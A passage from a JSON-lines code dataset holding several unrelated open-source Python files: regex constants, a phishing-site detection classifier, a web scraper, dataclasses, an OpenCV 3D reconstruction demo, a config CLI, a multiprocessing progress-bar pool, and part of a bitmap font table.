make_func_regex('average\\([A-Za-z]+\\d*\\)')\n# AVG_REGEX = re.compile(r'average\\([A-Za-z]+\\d*\\)')\n# match max(ar##)\nMAX_REGEX = make_func_regex(r'max\\([A-Za-z]+\\d*\\)')\n# MAX_REGEX = re.compile(r'max\\([A-Za-z]+\\d*\\)')\n# match min(ar##)\nMIN_REGEX = make_func_regex(r'min\\([A-Za-z]+\\d*\\)')\n# MIN_REGEX = re.compile(r'min\\([A-Za-z]+\\d*\\)')\n# match slope(ar##)\n# SLOPE_REGEX = re.compile(r'slope\\([A-Za-z]+\\d*\\)')\nSLOPE_REGEX = make_func_regex(r'slope\\([A-Za-z]+\\d*\\)')\n# match between(age, 0,10)\n# BETWEEN_REGEX = make_func_regex(r'between\\([\\w\\d\\s]+(\\.\\w+)*\\s*,\\s*[-\\d+]+(\\.\\d)*(\\s*,\\s*[-\\d+]+(\\.\\d)*)\\)')\nBETWEEN_REGEX = make_func_regex(r'between\\([\\w\\d\\s\\(\\)]+(\\.\\w+)*\\s*,\\s*[-\\d+]+(\\.\\d)*(\\s*,\\s*[-\\d+]+(\\.\\d)*)\\)')\n\n\n# match x in x**2+3x+1\nMAPPER_KEY_REGEX = re.compile(r'[A-Za-z]+')\n\n# match kca, ar40, etc..\nKEY_REGEX = re.compile(r'[A-Za-z]+\\d*')\n\nBASELINE_REGEX = re.compile(r'[\\w\\d]+\\.bs')\nBASELINECOR_REGEX = re.compile(r'[\\w\\d]+\\.bs_corrected')\n\nPARENTHESES_REGEX = re.compile(r'\\([\\w\\d\\s]+\\)')\n\nCOMP_REGEX = re.compile(r'<=|>=|>|<|==')\n\nDEFLECTION_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.deflection')\n\nRATIO_REGEX = re.compile(r'[A-Za-z]{1,2}\\d{1,2}/[A-Za-z]{1,2}\\d{1,2}')\n\nARGS_REGEX = re.compile(r'\\(.+\\)')\n\nPRESSURE_REGEX = re.compile(r'\\w+\\.\\w+\\.pressure')\nDEVICE_REGEX = re.compile(r'device\\.\\w+')\n\nINTERPOLATE_REGEX = re.compile(r'\\$\\w+')\n\n\nEXTRACTION_STR_PERCENT_REGEX = re.compile(r'\\d+%(,\\d+%)*$')\nEXTRACTION_STR_ABS_REGEX = re.compile(r'\\d+(\\.\\d+)*(,\\d+(\\.\\d+)*)*$')\n# ============= EOF =============================================\n\n\n\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"}
+{"text": "import difflib\n\nfrom sklearn import tree\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\nfrom utils import generate_data_set\n\nimport numpy as np\nimport sys\nfrom pyspark.sql.functions import udf\n\ndef intersect(xs):\n xs = set(xs)\n @udf(\"array\")\n def _(ys):\n return list(xs.intersection(ys))\n return _\na_list = [1, 4, 6]\n\ndf = spark.createDataFrame([\n (1, [3, 4, 8]), (2, [7, 2, 6])\n], (\"id\", \"articles\"))\n\ndf.withColumn(\"intersect\", intersect(a_list)(\"articles\")).show()\n\ndef load_data():\n '''\n Load data from CSV file\n '''\n # Load the training data from the CSV file\n training_data = np.genfromtxt('dataset.csv', delimiter=',', dtype=np.int32)\n\n # Extract the inputs from the training data\n inputs = training_data[:,:-1]\n\n # Extract the outputs from the training data\n outputs = training_data[:, -1]\n\n # This model follow 80-20 rule on dataset\n # Split 80% for traning and 20% testing\n boundary = int(0.8*len(inputs))\n\n training_inputs, training_outputs, testing_inputs, testing_outputs = train_test_split(inputs, outputs, test_size=0.33)\n\n # Return the four arrays\n return training_inputs, training_outputs, testing_inputs, testing_outputs\n\ndef run(classifier, name):\n '''\n Run the classifier to calculate the accuracy score\n '''\n # Load the training data\n train_inputs, test_inputs,train_outputs, test_outputs = load_data()\n\n # Train the decision tree classifier\n classifier.fit(train_inputs, train_outputs)\n\n # Use the trained classifier to make predictions on the test data\n predictions = classifier.predict(test_inputs)\n\n # Print the accuracy (percentage of phishing websites correctly predicted)\n accuracy = 100.0 * accuracy_score(test_outputs, predictions)\n print (\"Accuracy score using {} is: {}\\n\".format(name, accuracy))\n\n#\n# if __name__ == '__main__':\n# '''\n# Main function -\n# Following are several models trained to detect phishing webstes.\n# Only the best and worst classifier outputs are displayed.\n# '''\n#\n# # Decision tree\n# # classifier = tree.DecisionTreeClassifier()\n# # run(classifier, \"Decision tree\")\n#\n# # Random forest classifier (low accuracy)\n# # classifier = RandomForestClassifier()\n# # run(classifier, \"Random forest\")\n#\n# # Custom random forest classifier 1\n# print (\"Best classifier for detecting phishing websites.\")\n# classifier = RandomForestClassifier(n_estimators=500, max_depth=15, max_leaf_nodes=10000)\n# run(classifier, \"Random forest\")\n#\n# # Linear SVC classifier\n# # classifier = svm.SVC(kernel='linear')\n# # run(classifier, \"SVC with linear kernel\")\n#\n# # RBF SVC classifier\n# # classifier = svm.SVC(kernel='rbf')\n# # run(classifier, \"SVC with rbf kernel\")\n#\n# # Custom SVC classifier 1\n# # classifier = svm.SVC(decision_function_shape='ovo', kernel='linear')\n# # run(classifier, \"SVC with ovo shape\")\n#\n# # Custom SVC classifier 2\n# # classifier = svm.SVC(decision_function_shape='ovo', kernel='rbf')\n# # run(classifier, \"SVC with ovo shape\")\n#\n# # NuSVC classifier\n# # classifier = svm.NuSVC()\n# # run(classifier, \"NuSVC\")\n#\n# # OneClassSVM classifier\n# print (\"Worst classifier for detecting phishing websites.\")\n# classifier = svm.OneClassSVM()\n# run(classifier, \"One Class SVM\")\n#\n# # print \"K nearest neighbours algorithm.\"\n# # nbrs = KNeighborsClassifier(n_neighbors=5, algorithm='ball_tree')\n# # run(nbrs, \"K nearest neighbours\")\n#\n# # Gradient boosting classifier\n# # classifier = GradientBoostingClassifier()\n# # run(classifier, \"GradientBoostingClassifier\")\n#\n# # Take user input and check whether its phishing URL or not.\n#\n# data_set = generate_data_set(\"http://kettlebellworkoutspot.com/wp-contact.php?sponsore=kaufentiele.de/1/&dir=/CRYSZnk/&type=x6&orders=779507949&payment?f=ZqWGIkC\")\n#\n# # Reshape the array\n# data_set = np.array(data_set).reshape(1, -1)\n#\n# # Load the date\n# train_inputs, test_inputs,train_outputs, test_outputs = load_data()\n#\n# # Create and train the classifier\n# classifier = RandomForestClassifier(n_estimators=500, max_depth=15, max_leaf_nodes=10000)\n# classifier.fit(train_inputs, train_outputs)\n#\n# print (classifier.predict(data_set))\n# # [-1, 1, -1, -1, 1, 1, 0, -1, -1, -1, -1, 1, -1, -1, -1, 0, 1, -1, -1, -1, -1, -1, 1, 1, -1, -1, -1, -1, -1, -1]\n\nfrom similaritymeasures import Similarity\n\n\ndef main():\n \"\"\" the main function to create Similarity class instance and get used to it \"\"\"\n\n measures = Similarity()\n\n print(measures.euclidean_distance([0, 3, 4, 5], [7, 6, 3, -1]))\n print(measures.jaccard_similarity([0, 1, 2, 5, 6], [0, 2, 3, 5, 7, 9]))\n\n\nif __name__ == \"__main__\":\n main()", "source": "Ismael-Safadi/Detect-phishing-websites-using-ML-twitter-grabber-2", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 15 07:07:42 2021\r\n\r\n@author: a\r\n\"1=4444444444444\r\nimport requests\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\n\r\n\r\n\r\nurl='https://www.myntra.com/dresses?f=Gender%3Amen%20women%2Cwomen'\r\nr=requests.get(url)\r\nhtmlContent=r.content\r\nsoup=BeautifulSoup(htmlContent,'html.parser')\r\nprint(soup.prettify)\r\n", "source": "namitakarnatak/crispy-potato", "license": "bzip2-1.0.6"}
+{"text": "import typing\nimport dataclasses as dc\nfrom .raw_client import RawClient\n\n\nT = typing.TypeVar('T')\n\n\n@dc.dataclass\nclass ApiStorage:\n _client: RawClient\n _apis: typing.Dict[typing.Type[typing.Any], typing.Any] = dc.field(default_factory=dict)\n\n def get_api(self, api_type: typing.Type[T]) -> T:\n if not issubclass(api_type, ApiBase):\n raise ValueError('Invalid api type')\n\n if api_type not in self._apis:\n self._apis[api_type] = api_type(client=self._client, storage=self)\n result: T = self._apis[api_type]\n return result\n\n\n@dc.dataclass\nclass ApiBase:\n client: RawClient\n storage: ApiStorage\n", "source": "sunsx0/yah", "license": "MIT"}
+{"text": "from dataclasses import dataclass, field\nfrom decimal import Decimal\nfrom typing import List, Optional\n\n__NAMESPACE__ = \"http://www.siri.org.uk/siri\"\n\n\n@dataclass\nclass LocationStructure:\n \"\"\"Type for gepspatial Position of a point.\n\n May be expressed in concrete WGS 84 Coordinates or any gml\n compatible point coordinates format.\n\n :ivar longitude: Longitude from Greenwich Meridian. -180 (East) to\n +180 (West). Decimal degrees. eg 2.356\n :ivar latitude: Latitude from equator. -90 (South) to +90 (North).\n Decimal degrees. eg 56.356\n :ivar coordinates: Coordinates of points in a GML compatibe format,\n as indicated by srsName attribute.\n :ivar precision: Precision for point measurement. In meters.\n :ivar id: Identifier of POINT.\n :ivar srs_name: identifier of data reference system for geocodes if\n point is specified as gml compatible Coordinates. A gml value.\n If not specified taken from system configuration.\n \"\"\"\n\n longitude: Optional[Decimal] = field(\n default=None,\n metadata={\n \"name\": \"Longitude\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"min_inclusive\": Decimal(\"-180\"),\n \"max_inclusive\": Decimal(\"180\"),\n },\n )\n latitude: Optional[Decimal] = field(\n default=None,\n metadata={\n \"name\": \"Latitude\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"min_inclusive\": Decimal(\"-90\"),\n \"max_inclusive\": Decimal(\"90\"),\n },\n )\n coordinates: List[str] = field(\n default_factory=list,\n metadata={\n \"name\": \"Coordinates\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"tokens\": True,\n },\n )\n precision: Optional[int] = field(\n default=None,\n metadata={\n \"name\": \"Precision\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n },\n )\n id: Optional[str] = field(\n default=None,\n metadata={\n \"type\": \"Attribute\",\n },\n )\n srs_name: Optional[str] = field(\n default=None,\n metadata={\n \"name\": \"srsName\",\n \"type\": \"Attribute\",\n },\n )\n\n\n@dataclass\nclass SrsName:\n \"\"\"\n GML Spatial coordinate reference system.\n \"\"\"\n\n class Meta:\n namespace = \"http://www.siri.org.uk/siri\"\n\n value: str = field(\n default=\"\",\n metadata={\n \"required\": True,\n },\n )\n\n\n@dataclass\nclass BoundingBoxStructure:\n \"\"\"Defines a bounding box using two corner points.\n\n GML terminology. +SIRI v2.0\n\n :ivar upper_left: A geospatial point. Upper Left corner. .\n :ivar lower_right: A geospatial point. Lower right corner. .\n \"\"\"\n\n upper_left: Optional[LocationStructure] = field(\n default=None,\n metadata={\n \"name\": \"UpperLeft\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"required\": True,\n },\n )\n lower_right: Optional[LocationStructure] = field(\n default=None,\n metadata={\n \"name\": \"LowerRight\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"required\": True,\n },\n )\n\n\n@dataclass\nclass LineShapeStructure:\n \"\"\"\n Defines a line shape +SIRI v2.0.\n\n :ivar point: A geospatial point. +SIRI v2.0 .\n \"\"\"\n\n point: List[LocationStructure] = field(\n default_factory=list,\n metadata={\n \"name\": \"Point\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"min_occurs\": 2,\n },\n )\n", "source": "grutts/siri", "license": "MIT"}
+{"text": "from wemake_python_styleguide.compat.packaging import (\n PackageNotFoundError,\n get_version,\n)\n\n\ndef _get_version(dist_name: str) -> str: # pragma: no cover\n \"\"\"Fetches distribution version.\"\"\"\n try:\n return get_version(dist_name)\n except PackageNotFoundError:\n return '' # readthedocs cannot install `poetry` projects\n\n\n#: This is a package name.\npkg_name = 'wps-light'\n\n#: We store the version number inside the `pyproject.toml`.\npkg_version = _get_version(pkg_name)\n", "source": "pawamoy/wemake-python-styleguide", "license": "MIT"}
+{"text": "import numpy as np, cv2 as cv, matplotlib.pyplot as plt, time, sys, os\nfrom mpl_toolkits.mplot3d import axes3d, Axes3D\n\ndef getEpipolarError(F, pts1_, pts2_, inliers):\n pts1 = np.concatenate((pts1_.T, np.ones((1, pts1_.shape[0]))))[:,inliers]\n pts2 = np.concatenate((pts2_.T, np.ones((1, pts2_.shape[0]))))[:,inliers]\n lines2 = np.dot(F , pts1)\n lines1 = np.dot(F.T, pts2)\n\n return np.median((np.abs(np.sum(pts1 * lines1, axis=0)) / np.sqrt(lines1[0,:]**2 + lines1[1,:]**2) +\n np.abs(np.sum(pts2 * lines2, axis=0)) / np.sqrt(lines2[0,:]**2 + lines2[1,:]**2))/2)\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print(\"Path to data file and directory to image files are missing!\\nData file must have\"\n \" format:\\n--------------\\n image_name_1\\nimage_name_2\\nk11 k12 k13\\n0 k22 k23\\n\"\n \"0 0 1\\n--------------\\nIf image_name_{1,2} are not in the same directory as \"\n \"the data file then add argument with directory to image files.\\nFor example: \"\n \"python essential_mat_reconstr.py essential_mat_data.txt ./\")\n exit(1)\n else:\n data_file = sys.argv[1]\n image_dir = sys.argv[2]\n\n if not os.path.isfile(data_file):\n print('Incorrect path to data file!')\n exit(1)\n\n with open(data_file, 'r') as f:\n image1 = cv.imread(image_dir+f.readline()[:-1]) # remove '\\n'\n image2 = cv.imread(image_dir+f.readline()[:-1])\n K = np.array([[float(x) for x in f.readline().split(' ')],\n [float(x) for x in f.readline().split(' ')],\n [float(x) for x in f.readline().split(' ')]])\n\n if image1 is None or image2 is None:\n print('Incorrect directory to images!')\n exit(1)\n if K.shape != (3,3):\n print('Intrinsic matrix has incorrect format!')\n exit(1)\n\n print('find keypoints and compute descriptors')\n detector = cv.SIFT_create(nfeatures=20000)\n keypoints1, descriptors1 = detector.detectAndCompute(cv.cvtColor(image1, cv.COLOR_BGR2GRAY), None)\n keypoints2, descriptors2 = detector.detectAndCompute(cv.cvtColor(image2, cv.COLOR_BGR2GRAY), None)\n\n matcher = cv.FlannBasedMatcher(dict(algorithm=0, trees=5), dict(checks=32))\n print('match with FLANN, size of descriptors', descriptors1.shape, descriptors2.shape)\n matches_vector = matcher.knnMatch(descriptors1, descriptors2, k=2)\n\n print('find good keypoints')\n pts1 = []; pts2 = []\n for m in matches_vector:\n # compare best and second match using Lowe ratio test\n if m[0].distance / m[1].distance < 0.75:\n pts1.append(keypoints1[m[0].queryIdx].pt)\n pts2.append(keypoints2[m[0].trainIdx].pt)\n pts1 = np.array(pts1); pts2 = np.array(pts2)\n print('points size', pts1.shape[0])\n\n print('Essential matrix RANSAC')\n start = time.time()\n E, inliers = cv.findEssentialMat(pts1, pts2, K, cv.RANSAC, 0.999, 1.0)\n print('RANSAC time', time.time() - start, 'seconds')\n print('Median error to epipolar lines', getEpipolarError\n (np.dot(np.linalg.inv(K).T, np.dot(E, np.linalg.inv(K))), pts1, pts2, inliers.squeeze()),\n 'number of inliers', inliers.sum())\n\n print('Decompose essential matrix')\n R1, R2, t = cv.decomposeEssentialMat(E)\n\n # Assume relative pose. Fix the first camera\n P1 = np.concatenate((K, np.zeros((3,1))), axis=1) # K [I | 0]\n P2s = [np.dot(K, np.concatenate((R1, t), axis=1)), # K[R1 | t]\n np.dot(K, np.concatenate((R1, -t), axis=1)), # K[R1 | -t]\n np.dot(K, np.concatenate((R2, t), axis=1)), # K[R2 | t]\n np.dot(K, np.concatenate((R2, -t), axis=1))] # K[R2 | -t]\n\n obj_pts_per_cam = []\n # enumerate over all P2 projection matrices\n for cam_idx, P2 in enumerate(P2s):\n obj_pts = []\n for i, (pt1, pt2) in enumerate(zip(pts1, pts2)):\n if not inliers[i]:\n continue\n # find object point by triangulation of image points by projection matrices\n obj_pt = cv.triangulatePoints(P1, P2, pt1, pt2)\n obj_pt /= obj_pt[3]\n # check if reprojected point has positive depth\n if obj_pt[2] > 0:\n obj_pts.append([obj_pt[0], obj_pt[1], obj_pt[2]])\n obj_pts_per_cam.append(obj_pts)\n\n best_cam_idx = np.array([len(obj_pts_per_cam[0]),len(obj_pts_per_cam[1]),\n len(obj_pts_per_cam[2]),len(obj_pts_per_cam[3])]).argmax()\n max_pts = len(obj_pts_per_cam[best_cam_idx])\n print('Number of object points', max_pts)\n\n # filter object points to have reasonable depth\n MAX_DEPTH = 6.\n obj_pts = []\n for pt in obj_pts_per_cam[best_cam_idx]:\n if pt[2] < MAX_DEPTH:\n obj_pts.append(pt)\n obj_pts = np.array(obj_pts).reshape(len(obj_pts), 3)\n\n # visualize image points\n for i, (pt1, pt2) in enumerate(zip(pts1, pts2)):\n if inliers[i]:\n cv.circle(image1, (int(pt1[0]), int(pt1[1])), 7, (255,0,0), -1)\n cv.circle(image2, (int(pt2[0]), int(pt2[1])), 7, (255,0,0), -1)\n\n # concatenate two images\n image1 = np.concatenate((image1, image2), axis=1)\n # resize concatenated image\n new_img_size = 1200. * 800.\n image1 = cv.resize(image1, (int(np.sqrt(image1.shape[1] * new_img_size / image1.shape[0])),\n int(np.sqrt (image1.shape[0] * new_img_size / image1.shape[1]))))\n\n # plot object points\n fig = plt.figure(figsize=(13.0, 11.0))\n ax = fig.add_subplot(111, projection='3d')\n ax.set_aspect('auto')\n ax.scatter(obj_pts[:,0], obj_pts[:,1], obj_pts[:,2], c='r', marker='o', s=3)\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('depth')\n ax.view_init(azim=-80, elev=110)\n\n # save figures\n cv.imshow(\"matches\", image1)\n cv.imwrite('matches_E.png', image1)\n plt.savefig('reconstruction_3D.png')\n\n cv.waitKey(0)\n plt.show()\n", "source": "collinbrake/opencv", "license": "Apache-2.0"}
+{"text": "\"\"\" CLI tools for working with cedar configuration files\n\"\"\"\nimport json\nimport logging\nimport os\nfrom pathlib import Path\nimport shutil\n\nimport click\n\nfrom . import options\n\n\n@click.group('config', help='Create or check cedar configuration files')\n@click.pass_context\ndef group_config(ctx):\n pass\n\n\n@group_config.command('template', short_help='Generate a config file template')\n@click.argument('dest', required=False, type=click.Path(dir_okay=False))\n@click.option('--comment', is_flag=True, help='Comment out the template file')\n@click.pass_context\ndef config_template(ctx, dest, comment):\n \"\"\" Generate a template configuration file\n \"\"\"\n from cedar.config import TEMPLATE_FILE\n\n with open(str(TEMPLATE_FILE)) as template:\n lines = list(template)\n\n if comment:\n lines = ['# ' + line if not line.startswith('#') else line\n for line in lines]\n\n if dest:\n dest = Path(dest)\n dest.parent.mkdir(parents=True, exist_ok=True)\n\n tmp = f'{dest}.tmp.{os.getpid()}'\n with open(tmp, 'w') as tmp_dst:\n tmp_dst.write(''.join(lines))\n shutil.move(str(tmp), str(dest))\n\n click.echo(f'Wrote template file to \"{dest}\"')\n else:\n for line in lines:\n click.echo(line, nl=False)\n\n\n@group_config.command('build', short_help='Interactively build a config file')\n@click.argument('dest', type=click.Path(dir_okay=False))\n@click.pass_context\ndef config_build(ctx, dest):\n click.echo('To do... maybe you?')\n raise click.Abort()\n\n\n@group_config.command('print', short_help='Parse and print config file')\n@click.argument('config_file',\n type=click.Path(dir_okay=False, resolve_path=True))\n@click.pass_context\ndef config_print(ctx, config_file):\n \"\"\" This program should help you check your config file is valid\n \"\"\"\n from jsonschema.exceptions import ValidationError\n from cedar.config import Config\n\n try:\n cfg = Config.from_yaml(config_file)\n except ValidationError as ve:\n click.echo(f'Configuration file failed to validate: \"{ve.message}\"')\n raise click.Abort()\n except Exception as e:\n click.echo(f'Could not parse configuration file \"{config_file}\":\\n{e}')\n raise click.Abort()\n else:\n click.echo(cfg.to_yaml(indent=2))\n", "source": "ceholden/cedar-datacube", "license": "BSD-3-Clause"}
+{"text": "import multiprocessing\nimport signal\nfrom signal import SIGINT, SIG_IGN\nfrom queue import Empty as EmptyQueue\nimport sys\nimport tqdm\nfrom functools import partial\n\nimport logging\nfrom .logger import setup_logger_child_process\nlogger = logging.getLogger(__name__)\n\nclass MultiProcessTqdm(object):\n def __init__(self, message_queue, tqdm_id, *args, **kwargs):\n self.message_queue = message_queue\n self.tqdm_id = tqdm_id\n message = (multiprocessing.current_process().name, \"__init__\", args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n\n def __enter__(self, *args, **kwargs):\n message = (multiprocessing.current_process().name, \"__enter__\", args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n return self\n\n def __exit__(self, *args, **kwargs):\n message = (multiprocessing.current_process().name, \"__exit__\", args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n\n def __getattr__(self, method_name):\n def _missing(*args, **kwargs):\n message = (multiprocessing.current_process().name, method_name, args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n return _missing\n\nclass GlobalMultiProcessTqdm(MultiProcessTqdm):\n # We don't want to init so no message is passed. Also the id is not applicable. \n def __init__(self, message_queue):\n self.message_queue = message_queue\n self.tqdm_id = 0\n\ndef get_multi_tqdm(message_queue, tqdms_list, *args, **kwargs):\n tqdm_id = len(tqdms_list)\n # kwargs[\"mininterval\"] = 1 # Slow it down\n multi_tqdm = MultiProcessTqdm(message_queue, tqdm_id, *args, **kwargs)\n tqdms_list.append(multi_tqdm)\n return multi_tqdm\n\nterminate = False\ndef handler(signal_received, frame):\n global terminate\n terminate = True\n\n# Signal handling for multiprocess. The \"correct\" answer doesn't work on windows at all.\n# Using the version with a very slight race condition. Don't ctrl-c in that miniscule time window...\n# https://stackoverflow.com/questions/11312525/catch-ctrlc-sigint-and-exit-multiprocesses-gracefully-in-python\ndef init_worker(logging_queue):\n setup_logger_child_process(logging_queue) \n signal.signal(SIGINT, SIG_IGN)\n\ndef task_wrapper(tqdm_queue, global_tqdm_queue, operation, *args):\n tqdms_list = []\n tqdm_partial = partial(get_multi_tqdm, tqdm_queue, tqdms_list)\n global_tqdm = GlobalMultiProcessTqdm(global_tqdm_queue)\n return operation(*args, tqdm_partial, global_tqdm)\n\nclass TqdmMultiProcessPool(object):\n def __init__(self, process_count):\n self.mp_manager = multiprocessing.Manager()\n self.logging_queue = self.mp_manager.Queue()\n self.tqdm_queue = self.mp_manager.Queue()\n self.global_tqdm_queue = self.mp_manager.Queue()\n self.process_count = process_count\n worker_init_function = partial(init_worker, self.logging_queue) \n self.mp_pool = multiprocessing.Pool(self.process_count, worker_init_function)\n\n def map(self, global_tqdm, tasks, on_error, on_done):\n\n self.previous_signal_int = signal.signal(SIGINT, handler)\n\n tqdms = {} # {} for _ in range(process_count)]\n\n async_results = []\n for operation, args in tasks:\n wrapper_args = tuple([self.tqdm_queue, self.global_tqdm_queue, operation] + list(args))\n async_results.append(self.mp_pool.apply_async(task_wrapper, wrapper_args))\n\n completion_status = [False for _ in async_results]\n countdown = len(completion_status)\n task_results = [None for _ in async_results]\n while countdown > 0 and not terminate:\n # Worker Logging\n try:\n logger_record = self.logging_queue.get_nowait()\n getattr(logger, logger_record.levelname.lower())(logger_record.getMessage())\n except (EmptyQueue, InterruptedError):\n pass\n\n # Worker tqdms\n try:\n count = 0\n while True:\n tqdm_id, tqdm_message = self.tqdm_queue.get_nowait()\n process_id, method_name, args, kwargs = tqdm_message\n process_id = int(process_id[-1])\n if process_id not in tqdms:\n tqdms[process_id] = {}\n\n if method_name == \"__init__\":\n tqdms[process_id][tqdm_id] = tqdm.tqdm(*args, **kwargs)\n else:\n getattr(tqdms[process_id][tqdm_id], method_name)(*args, **kwargs)\n\n count += 1\n if count > 1000:\n logger.info(\"Tqdm worker queue flood.\")\n except (EmptyQueue, InterruptedError):\n pass\n\n # Global tqdm\n try:\n count = 0 \n while True:\n tqdm_id, tqdm_message = self.global_tqdm_queue.get_nowait()\n process_id, method_name, args, kwargs = tqdm_message\n getattr(global_tqdm, method_name)(*args, **kwargs)\n\n count += 1\n if count > 1000:\n logger.info(\"Tqdm global queue flood.\")\n except (EmptyQueue, InterruptedError):\n pass\n\n # Task Completion\n for i, async_result in enumerate(async_results):\n if completion_status[i]:\n continue\n if async_result.ready():\n task_result = async_result.get()\n task_results[i] = task_result\n completion_status[i] = True\n countdown -= 1\n\n # Task failed, do on_error\n if not task_result:\n on_error(task_result)\n\n on_done(task_result)\n\n if terminate:\n logger.info('SIGINT or CTRL-C detected, closing pool. Please wait.')\n self.mp_pool.close()\n\n # Clear out remaining message queues. Sometimes get_nowait returns garbage\n # without erroring, just catching all exceptions as we don't care that much\n # about logging messages.\n try:\n while True:\n logger_record = self.logging_queue.get_nowait()\n getattr(logger, logger_record.levelname.lower())(logger_record.getMessage())\n except (EmptyQueue, InterruptedError):\n pass\n except Exception:\n pass\n\n try:\n while True:\n tqdm_id, tqdm_message = self.global_tqdm_queue.get_nowait()\n process_id, method_name, args, kwargs = tqdm_message\n getattr(global_tqdm, method_name)(*args, **kwargs)\n except (EmptyQueue, InterruptedError):\n pass\n\n try:\n while True:\n tqdm_record = self.tqdm_queue.get_nowait()\n tqdm_id, tqdm_message = tqdm_record\n process_id, method_name, args, kwargs = tqdm_message\n process_id = int(process_id[-1])\n if method_name == \"__init__\":\n tqdms[process_id][tqdm_id] = tqdm.tqdm(*args, **kwargs)\n else:\n getattr(tqdms[process_id][tqdm_id], method_name)(*args, **kwargs)\n except (EmptyQueue, InterruptedError):\n pass\n\n if terminate:\n logger.info('Terminating.') \n for key, process_tqdms in tqdms.items():\n for key, tqdm_instance in process_tqdms.items():\n if tqdm_instance:\n tqdm_instance.close()\n sys.exit(0) # Will trigger __exit__\n\n signal.signal(SIGINT, self.previous_signal_int)\n\n return task_results", "source": "EleutherAI/tqdm-multiprocess", "license": "MIT"}
+{"text": "_FONT = {\n32: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n33: [10, 1048575, 1048575, 1048575, 1048575, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1032447, 1032447, 1032447, 1048575, 1048575, 1048575, 1048575],\n34: [10, 1048575, 1048575, 1048575, 1045455, 1045455, 1045455, 1045455, 1045455, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n35: [10, 1048575, 1048575, 1048575, 1048575, 986895, 986895, 986895, 786435, 786435, 986895, 986895, 986895, 786435, 786435, 986895, 986895, 1048575, 1048575, 1048575, 1048575],\n36: [10, 1048575, 1048575, 1048575, 1044735, 1044735, 983103, 983043, 1048515, 1048515, 1044483, 983055, 787455, 802815, 802803, 786435, 1032207, 1044735, 1044735, 1048575, 1048575],\n37: [10, 1048575, 1048575, 1048575, 1048575, 851907, 999228, 1036092, 1036092, 1045308, 1047747, 986367, 848703, 848847, 848847, 848883, 987132, 1048575, 1048575, 1048575, 1048575],\n38: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 986895, 1032255, 798735, 786639, 787395, 987075, 790275, 835587, 61455, 1048575, 1048575, 1048575, 1048575],\n39: [10, 1048575, 1048575, 1048575, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n40: [10, 1048575, 1048575, 1048575, 1048575, 987135, 1033215, 1044735, 1047615, 1047615, 1048335, 1048335, 1048335, 1048335, 1048335, 1047615, 1047615, 1044735, 984063, 987135, 1048575],\n41: [10, 1048575, 1048575, 1048575, 1048575, 1048335, 1047567, 1044735, 1033215, 1033215, 987135, 987135, 987135, 987135, 987135, 1033215, 1033215, 1044735, 1047615, 1048335, 1048575],\n42: [10, 1048575, 1048575, 1048575, 1048575, 1044735, 1044735, 798915, 786435, 1044735, 1032255, 986895, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n43: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1047807, 1047807, 1047807, 1047807, 983043, 1047807, 1047807, 1047807, 1047807, 1048575, 1048575, 1048575, 1048575],\n44: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032447, 1032447, 1032447, 1033215, 1044735, 1047615, 1048575],\n45: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032255, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n46: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n47: [10, 1048575, 1048575, 1048575, 999423, 1036287, 1036287, 1036287, 1045503, 1045503, 1045503, 1047807, 1047807, 1048383, 1048383, 1048383, 1048527, 1048527, 1048527, 1048563, 1048575],\n48: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 802755, 802755, 798915, 798915, 802755, 802755, 986895, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n49: [10, 1048575, 1048575, 1048575, 1048575, 1033215, 1032447, 1032207, 1033155, 1033215, 1033215, 1033215, 1033215, 1033215, 1033215, 786447, 786447, 1048575, 1048575, 1048575, 1048575],\n50: [10, 1048575, 1048575, 1048575, 1048575, 1032207, 983043, 987123, 987135, 987135, 1033215, 1044735, 1047615, 1048335, 1048527, 983043, 